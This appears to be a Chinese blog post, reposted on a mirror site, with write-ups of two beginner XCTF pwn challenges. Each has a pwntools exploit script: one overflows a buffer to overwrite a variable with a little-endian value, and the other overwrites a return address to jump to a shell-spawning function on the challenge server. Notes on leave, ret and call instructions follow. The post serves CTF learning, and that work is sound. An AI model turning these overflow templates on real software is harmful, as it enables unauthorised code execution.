zoukankan      html  css  js  c++  java
  • day-6 xctf-hello_pwn

    xctf-hello_pwn

    题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5052

    又是一个溢出,和昨天的有异曲同工之处:

     

     差4个字节,溢出改变dword_60106C的值为nuaa(注意:这里为小端存储,要写为'aaun')

    exp:

    from pwn import *
    
    
    
    #cnn = process('./hello_pwn')
    
    cnn = remote('111.198.29.45',32280)
    
    
    
    payload = 'a'*4+'aaun'
    
    
    
    cnn.recvuntil('bof')
    
    
    
    cnn.send(payload)
    
    
    print(cnn.recv())
    
    
    cnn.interactive()
    exp

    总结:注意小端 ~~~~~~注意小端 ~~~~~注意小端~~~~~

    xctf-level0

    题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5053

    拖进ida后,F5查看,发现就是输出Hello world,然后执行函数vulnerable_function(),跟进:

    找到一个read,buf长度为80。长度超出80以后,会实现地址随便跳转。

     

    汇编查看一下。可以发现,在read时,将函数的返回地址覆盖为callsystem的地址,则可以实现漏洞利用。

     

    针对leave指令,可以知道:Leave的作用相当==mov esp,ebp和pop ebp

    retn == pop eip,所以后面得再加上4*2=8个字符的leave指令,再覆盖retn pop的eip

    所以构造:payload = 'a'*80+'a'*8+(callsystem的地址),其中callsystem的地址为0x400596:

    所以可以得到exp:

    from pwn import *
    
    #cnn = process('./level0')
    cnn = remote('111.198.29.45',35563)
    
    payload = 'a'*0x88+p64(0x400596)
    
    cnn.sendline(payload)
    
    cnn.interactive()
    exp

    得到shell,然后ls查看,cat flag命令得到flag:

    总结:

    enter指令:
    push  ebp # 将ebp压栈
    mov  ebp esp # 将%esp保存到%ebp, 这两步是函数的标准开头
    
    leave指令
    leave等效于以下汇编指令:
    mov   esp,ebp
    pop ebp
    
    call指令
    call foo(foo是一个标号)等效于以下汇编指令:
    push eip
    mov  eip , foo
    
    ret指令
    ret等效于以下汇编指令:
    pop  eip
  • 相关阅读:
    Doing Homework 简单dp&&状态压缩
    嫖裤子序列
    王宁宁宁
    友军寻路法
    Viviani
    ccf 201909-3
    ccf 201909-5
    链式前向星
    ccf-201909-04
    ccf -201909-2
  • 原文地址:https://www.cnblogs.com/yidianhan/p/11590650.html
Copyright © 2011-2022 走看看